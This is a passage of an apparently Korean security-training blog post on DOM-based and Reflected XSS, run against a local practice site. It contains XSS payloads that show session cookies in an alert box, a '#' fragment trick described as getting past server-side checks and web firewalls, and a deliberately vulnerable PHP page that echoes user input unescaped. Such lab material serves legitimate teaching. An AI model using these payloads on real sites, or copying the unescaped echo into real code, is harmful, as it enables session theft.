&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 page 뒤에 악성 스크립트가 삽입된다면, 악성 스크립트가 그대로 출력될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 취약성 확인 방법은 다음과 같다. &amp;rarr; XSS 위험성을 보여주기 위해 경고창을 띄운다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;alert()&lt;/li&gt;
&lt;li&gt;confirm()&lt;/li&gt;
&lt;li&gt;prompt()&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 아래와 같이 script 태그를 활용해서 경고창을 띄우게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1736178292526&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1/insecure_website/dom.php?page=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt; 를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션값이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;249&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YUbUL/btsLEpUTk3B/p4iDk3GUN7o7q4pi2cqK61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YUbUL/btsLEpUTk3B/p4iDk3GUN7o7q4pi2cqK61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YUbUL/btsLEpUTk3B/p4iDk3GUN7o7q4pi2cqK61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYUbUL%2FbtsLEpUTk3B%2Fp4iDk3GUN7o7q4pi2cqK61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;249&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;249&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;img src=&quot;&quot; onerror=&quot;alert(document.cookie)&quot;&amp;gt; 를 입력하여 경고창을 출력하는 방법도 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1/insecure_website/dom.php?page=&amp;lt;img src=&quot;&quot; onerror=&quot;alert(document.cookie)&quot;&amp;gt; 를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일하게 세션값이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;229&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rljEo/btsLGdrHFcg/IdjXngyTjxAkaBA9QMvMek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rljEo/btsLGdrHFcg/IdjXngyTjxAkaBA9QMvMek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rljEo/btsLGdrHFcg/IdjXngyTjxAkaBA9QMvMek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrljEo%2FbtsLGdrHFcg%2FIdjXngyTjxAkaBA9QMvMek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;229&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;229&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 XSS 취약성 존재 유무를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;img /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-BASED XSS 는 웹 브라우저단에서 악성 스크립트(사용자 입력값)을 받은 다음에 동적 페이지로 구성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Server-Side Script 단에서는 해당 사용자 입력값(악성 스크립트)이 구성되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 위의 요청을 다시 시도한 후 서버 측 응답을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Intercept On (Ctrl + T) 후 웹 사이트에서 요청 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Forward (Ctrl+F) 후 서버 측 응답 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1376&quot; data-origin-height=&quot;424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ezHY4O/btsLHzh4YZe/Fzo244oCkDZxXJe46AHeB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ezHY4O/btsLHzh4YZe/Fzo244oCkDZxXJe46AHeB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ezHY4O/btsLHzh4YZe/Fzo244oCkDZxXJe46AHeB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FezHY4O%2FbtsLHzh4YZe%2FFzo244oCkDZxXJe46AHeB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1376&quot; height=&quot;424&quot; data-origin-width=&quot;1376&quot; data-origin-height=&quot;424&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1889&quot; data-origin-height=&quot;781&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VenUQ/btsLHzvCrCs/QziyNX3mxkXkhpagzu1IB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VenUQ/btsLHzvCrCs/QziyNX3mxkXkhpagzu1IB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VenUQ/btsLHzvCrCs/QziyNX3mxkXkhpagzu1IB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVenUQ%2FbtsLHzvCrCs%2FQziyNX3mxkXkhpagzu1IB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1889&quot; height=&quot;781&quot; data-origin-width=&quot;1889&quot; data-origin-height=&quot;781&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답값을 확인해보니 Server-Side 단에서는 악성 스크립트가 포함된 응답값이 확인되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순수하게 웹 브라우저단에서 동적 페이지 구성이 이루어지는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; DOM-BASED XSS의 핵심 (DOM을 통해 문서에 접근하여 사용자 입력값에 의해 동적 페이지가 구성됨)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; REFLECTED XSS는 악성 스크립트가 응답값에 실리게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 DOM-BASED XSS는 Server-Side 단에 파라미터 입력값 검증 로직이 있더라도 웹 브라우저단에서 공격이 이루어지기 때문에 우회가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;?page 이전에 # 메타문자를 삽입해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;127.0.0.1/insecure_website/dom.php#?page=&amp;lt;img src=&quot;&quot; onerror=&quot;alert(document.cookie)&quot;&amp;gt; 를 입력한다.&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1361&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bT3gFc/btsLIFhdNRw/3FSfoidXrIycIkQISI2ckk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bT3gFc/btsLIFhdNRw/3FSfoidXrIycIkQISI2ckk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bT3gFc/btsLIFhdNRw/3FSfoidXrIycIkQISI2ckk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbT3gFc%2FbtsLIFhdNRw%2F3FSfoidXrIycIkQISI2ckk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1361&quot; height=&quot;400&quot; data-origin-width=&quot;1361&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php 문자열 이후 클라이언트에서 요청한 사용자 입력값이 확인되지 않는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-BASED XSS는 서버 사이드를 우회하여 공격하는 경우 파라미터(사용자 입력값)을 전달하지 않아 웹 방화벽에 걸리지 않게된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;630&quot; data-origin-height=&quot;317&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CUG8B/btsLGMP08qB/q2MCwvuu4mpZXjnGItUbc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CUG8B/btsLGMP08qB/q2MCwvuu4mpZXjnGItUbc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CUG8B/btsLGMP08qB/q2MCwvuu4mpZXjnGItUbc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCUG8B%2FbtsLGMP08qB%2Fq2MCwvuu4mpZXjnGItUbc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;317&quot; data-origin-width=&quot;630&quot; data-origin-height=&quot;317&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트에서 요청 시 사용자 입력값(악성 스크립트)가 확인되지 않으며, 서버에서 응답값 역시 악성 스크립트가 확인되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IYjJ7/btsLGfLlker/0tNaJOHRjOKJmaNSIVBvH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IYjJ7/btsLGfLlker/0tNaJOHRjOKJmaNSIVBvH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IYjJ7/btsLGfLlker/0tNaJOHRjOKJmaNSIVBvH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIYjJ7%2FbtsLGfLlker%2F0tNaJOHRjOKJmaNSIVBvH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;678&quot; height=&quot;570&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 브라우저가 위 서버 응답값 Javascript 를 해석하면서 악성 스크립트를 불러오게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 82.2089%; height: 232px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;잠재적인 DOM-BASED XSS 취약점에 노출될 수 있는 경우&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 216px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 216px; text-align: center;&quot;&gt;&lt;b&gt;document.write()&lt;/b&gt;&lt;br /&gt;&lt;b&gt;document.writeln()&lt;/b&gt;&lt;br /&gt;&lt;b&gt;document.domain&lt;/b&gt;&lt;br /&gt;&lt;b&gt;document.URL&lt;/b&gt;&lt;br /&gt;&lt;b&gt;document.referrer&lt;/b&gt;&lt;br /&gt;&lt;b&gt;location.href&lt;/b&gt;&lt;br /&gt;&lt;b&gt;loaction.search&lt;/b&gt;&lt;br /&gt;&lt;b&gt;location.hash&lt;/b&gt;&lt;br /&gt;&lt;b&gt;document.documentURI&lt;/b&gt;&lt;br /&gt;&lt;b&gt;someDOMElement.innerHTML&lt;/b&gt;&lt;br /&gt;&lt;b&gt;someDOMElement.outerHTML&lt;/b&gt;&lt;br /&gt;&lt;b&gt;someDOMElement.insertAdjacentHTML&lt;/b&gt;&lt;br /&gt;&lt;b&gt;someDOMElement.onevent&lt;/b&gt;&lt;br /&gt;&lt;b&gt;window.name&lt;/b&gt;&lt;br /&gt;&lt;b&gt;...&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 메소드가 사용될 때 XSS 취약점이 발생할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-BASED XSS 공격은 분석하기도 상당히 까다로울 뿐만 아니라, 활용하기 위해서는 Client Side Script 에 대한 이해가 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습5-2 REFLECTED XSS 공격 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reflected XSS 공격을 하기 위해서는 전제 조건이 있는데, 사용자 입력값을 입력한 뒤 응답값에 해당 입력 내용이 실려야 한다. 예를 들어 test 를 입력하면, 응답값에 test 가 똑같이 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 취약한 페이지를 구성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C:\APM_Setup\htdocs\insecure_website&amp;nbsp;에 xss.php 파일을 생성 후 아래 소스코드를 입력한다.&lt;/p&gt;
&lt;pre id=&quot;code_1736329082950&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    echo $_GET[&quot;value&quot;]
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드는 value 라는 사용자 입력값을 출력해주는 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1/insecure_website/xss.php?value=test 를 입력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;481&quot; data-origin-height=&quot;142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwKrGD/btsLHQxi7b9/3Alx6ysef9OgtCOky9JDak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwKrGD/btsLHQxi7b9/3Alx6ysef9OgtCOky9JDak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwKrGD/btsLHQxi7b9/3Alx6ysef9OgtCOky9JDak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwKrGD%2FbtsLHQxi7b9%2F3Alx6ysef9OgtCOky9JDak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;481&quot; height=&quot;142&quot; data-origin-width=&quot;481&quot; data-origin-height=&quot;142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;value 값에 test 가 입력되어 웹 페이지에 출력되는 것이 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;127.0.0.1/insecure_website/xss.php?value=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt; 를 입력한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qOqWm/btsLGfdErtH/bZtZcykCIcrySfAvCqH1O0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qOqWm/btsLGfdErtH/bZtZcykCIcrySfAvCqH1O0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qOqWm/btsLGfdErtH/bZtZcykCIcrySfAvCqH1O0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqOqWm%2FbtsLGfdErtH%2FbZtZcykCIcrySfAvCqH1O0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;252&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;252&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;script 태그를 활용해서 경고창을 띄우게 되면서 세션값이 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 XSS 취약점 유무를 파악할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 동일하게 XSS 공격을 진행해본다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 위의 요청을 다시 시도한 후 서버 측 응답을 확인해본다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. Intercept On (Ctrl + T) 후 웹 사이트에서 요청 전송&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. Forward (Ctrl+F) 후 서버 측 응답 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1356&quot; data-origin-height=&quot;425&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJaHBv/btsLH9J2WtV/KNUmLmKKAUCx7P7wCkgUO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJaHBv/btsLH9J2WtV/KNUmLmKKAUCx7P7wCkgUO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJaHBv/btsLH9J2WtV/KNUmLmKKAUCx7P7wCkgUO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJaHBv%2FbtsLH9J2WtV%2FKNUmLmKKAUCx7P7wCkgUO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1356&quot; height=&quot;425&quot; data-origin-width=&quot;1356&quot; data-origin-height=&quot;425&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;406&quot; data-origin-height=&quot;320&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HpIFx/btsLImvAbHZ/bv0GTPT5xp4rLA1ijzH5h1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HpIFx/btsLImvAbHZ/bv0GTPT5xp4rLA1ijzH5h1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HpIFx/btsLImvAbHZ/bv0GTPT5xp4rLA1ijzH5h1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHpIFx%2FbtsLImvAbHZ%2Fbv0GTPT5xp4rLA1ijzH5h1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;406&quot; height=&quot;320&quot; data-origin-width=&quot;406&quot; data-origin-height=&quot;320&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값이 응답값에 그대로 반환되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Reflected XSS&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-Based XSS 는 응답값에 사용자 입력값이 없고, 웹 브라우저에서 사용자 입력값을 통한 동적 페이지가 구성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reflected XSS 는 응답값에 사용자 입력값이 실리게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Refleted XSS 에 취약한 부분이 있는지 확인하기 위해 웹 서비스 내 특정 문자열을 입력하여 해당 문자열을 그대로 출력해주는 기능을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색창에 hohoho 를 입력하여 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cGADU6/btsLGOHh7Ew/QLHAjOMvhMF4mWJsusAcB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cGADU6/btsLGOHh7Ew/QLHAjOMvhMF4mWJsusAcB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cGADU6/btsLGOHh7Ew/QLHAjOMvhMF4mWJsusAcB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcGADU6%2FbtsLGOHh7Ew%2FQLHAjOMvhMF4mWJsusAcB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;937&quot; height=&quot;386&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;386&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
